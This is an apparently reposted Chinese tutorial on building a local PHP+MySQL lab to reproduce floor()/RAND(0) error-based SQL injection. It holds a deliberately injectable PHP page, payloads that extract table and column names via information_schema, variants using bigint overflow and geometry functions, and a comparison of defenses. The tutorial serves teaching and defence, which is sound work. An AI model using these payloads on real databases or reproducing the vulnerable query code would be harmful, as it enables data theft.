当前位置: 首页 > news >正文

别再死记硬背Payload了!用PHP+MySQL本地复现floor报错注入全过程

从零构建PHP+MySQL靶场:可视化floor报错注入实验指南

实验环境准备与漏洞靶场搭建

在开始探索floor报错注入之前,我们需要一个可控的本地测试环境。推荐使用PHPStudy或Docker快速搭建:

# Docker方式(需提前安装Docker) docker run --name mysql-vuln -e MYSQL_ROOT_PASSWORD=123456 -p 3306:3306 -d mysql:5.7 docker run --name php-apache -p 80:80 --link mysql-vuln:mysql -d php:7.4-apache

创建漏洞页面的PHP代码(保存为vulnerable.php):

<?php $conn = new mysqli("mysql", "root", "123456", "testdb"); if ($conn->connect_error) die("Connection failed: " . $conn->connect_error); $id = $_GET['id']; $sql = "SELECT * FROM users WHERE id = " . $id; $result = $conn->query($sql); if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { echo "ID: " . $row["id"]. " - Name: " . $row["username"]; } } else { echo "No results"; } $conn->close(); ?>

初始化测试数据库:

CREATE DATABASE testdb; USE testdb; CREATE TABLE users (id INT, username VARCHAR(255)); INSERT INTO users VALUES (1,'admin'),(2,'guest'),(3,'test');

MySQL日志监控与执行过程可视化

要真正理解floor报错注入,我们需要观察MySQL内部执行过程。开启general log:

SET GLOBAL general_log = 'ON'; SET GLOBAL log_output = 'TABLE';

查询日志的SQL语句:

SELECT * FROM mysql.general_log ORDER BY event_time DESC LIMIT 10;

关键函数行为测试:

函数调用示例输出结果重要特性
FLOOR()SELECT FLOOR(1.9)1向下取整
RAND(0)SELECT RAND(0)0.15522042769493574确定性伪随机
COUNT(*)SELECT COUNT(*) FROM users3统计行数

通过以下命令观察rand(0)的确定性特征:

SELECT RAND(0), RAND(0), RAND(0) FROM users;

floor报错注入的逐步拆解

让我们分解这个经典报错语句:

SELECT COUNT(*), CONCAT(DATABASE(), FLOOR(RAND(0)*2)) AS x FROM users GROUP BY x;

执行过程可视化表格:

执行步骤RAND(0)值FLOOR(RAND(0)*2)虚拟表状态关键动作
10.1552200空表查询key=0 → 不存在
20.6208811{key:1, count:1}插入时RAND()已变化
30.6387631{key:1, count:2}直接计数
40.3315370{key:1, count:2}查询key=0 → 不存在
50.7390811冲突发生尝试插入重复key=1

错误产生的核心原因:

  1. 执行时序差异:RAND()计算比虚拟表操作快
  2. 确定性伪随机:RAND(0)产生可预测序列
  3. 主键冲突:插入时值已变化导致重复

实战注入技巧与防御方案

进阶注入payload示例:

-- 获取表名 SELECT COUNT(*) FROM (SELECT 1 UNION SELECT CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1),FLOOR(RAND(0)*2)))x GROUP BY x; -- 获取列名 SELECT COUNT(*) FROM (SELECT 1 UNION SELECT CONCAT((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),FLOOR(RAND(0)*2)))x GROUP BY x;

防御方案对比表:

防御方式实现代码防护效果性能影响
预处理语句$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");★★★★★
类型转换$id = (int)$_GET['id'];★★★☆☆极低
过滤函数$id = mysqli_real_escape_string($conn, $_GET['id']);★★☆☆☆
WAF防护商业解决方案★★★★☆

深度原理分析与变种研究

通过GDB调试MySQL源码观察虚拟表创建过程:

# 编译调试版MySQL git clone https://github.com/mysql/mysql-server.git cd mysql-server && mkdir build && cd build cmake .. -DCMAKE_BUILD_TYPE=Debug make -j4

关键断点设置:

  • item_func.cc:Item_func_rand::val_real()
  • sql_select.cc:create_tmp_table()
  • handler.cc:write_row()

不同MySQL版本的差异:

版本行为特征是否可利用
5.0.x稳定报错
5.1.x概率报错部分
5.5+修复机制
8.0+完全防护

替代方案研究:

-- 基于bigint溢出 SELECT !(SELECT * FROM (SELECT USER())x)-~0; -- 基于几何函数 SELECT ST_LatFromGeoHash(USER());
http://www.jsqmd.com/news/856114/

相关文章:

  • 靖江注册公司需要多少钱?2026最新费用明细与隐形消费避坑指南
  • 阿里云ECS新手避坑指南:搞定校园网、安全组和SSH端口映射(附XShell连接测试)
  • RT-Thread实战:基于STM32F103的线程创建与LED控制
  • 蓝桥杯单片机备赛避坑指南:从温度读取异常到电压输出不稳,这些调试经验帮你省时
  • 3分钟完成Windows包管理器Winget安装:PowerShell自动化部署方案
  • 2026年比较好的酸洗池耐酸砖/工业耐酸砖推荐品牌厂家 - 行业平台推荐
  • 2026年评价高的显示器玻璃清洗机/小型玻璃清洗机/1600玻璃清洗机/镜片玻璃清洗机制造厂家 - 品牌宣传支持者
  • 别再让容器‘断网’了!Docker DNS配置保姆级教程(从全局到单容器,含8.8.8.8等常用DNS)
  • 2026年知名的装载机耙齿/山东耙齿/弯耙齿主流厂家对比评测 - 行业平台推荐
  • 在PyTorch里手把手实现ODConv:一个Attention类搞定多维注意力卷积
  • QT版本选择与离线安装全解析:告别在线安装器,搞定5.14及以下旧版本部署
  • IDEA 和 Eclipse 在 Maven 项目支持上有哪些核心差异?
  • 2026年4月靠谱的光谱仪生产厂家推荐,分析仪/测试仪/libs/xrf/光谱仪/测厚仪/X射线,光谱仪生产厂家哪个好 - 品牌推荐师
  • Ubuntu20.04安装Mapviz避坑指南:解决Qt与OpenCV冲突,手把手配置天地图
  • 2026年比较好的三亚别墅庭院设计施工装修实力公司推荐 - 品牌宣传支持者
  • 2026年靠谱的工业耐酸砖/酸洗池耐酸砖/实验室耐酸砖厂家哪家好 - 行业平台推荐
  • 基于Python图像识别的自动化连连看:3步实现高效游戏破解
  • 2026年高透PVC全新料/浙江PVC颗粒/PVC/PVC软料高口碑品牌推荐 - 品牌宣传支持者
  • ESP32-C3开发踩坑记:我把Panic Handler从‘重启’改成‘挂起’,调试效率翻倍了
  • 2026年质量好的佛山不锈钢风口/不锈钢防雨百叶推荐厂家精选 - 品牌宣传支持者
  • PCB设计避坑指南:用ANSYS Designer快速评估耦合长度,别再盲目布线了
  • 深入理解STM32的FSMC:如何像访问内存一样轻松驱动TFTLCD屏
  • 告别安装失败!Proe5.0 M280终极版从下载到成功运行的完整配置流程
  • Koopman算子理论在移动机器人非线性控制中的应用
  • 告别付费弹窗!手把手教你配置Fiddler Everywhere进行本地API调试与Mock
  • DeepLearnToolbox:在Matlab/Octave中掌握深度学习的艺术
  • 2026年比较好的三亚装修/三亚装饰设计装修年度精选公司 - 品牌宣传支持者
  • 别再到处找封装了!手把手教你用嘉立创EDA专业版自建个人元件库,效率翻倍
  • STM32F103C8T6性能碾压Arduino?保姆级配置Arduino IDE开发环境全攻略
  • 别再乱配了!H3C交换机上给不同VLAN打QoS标签和限速,这篇保姆级教程讲透了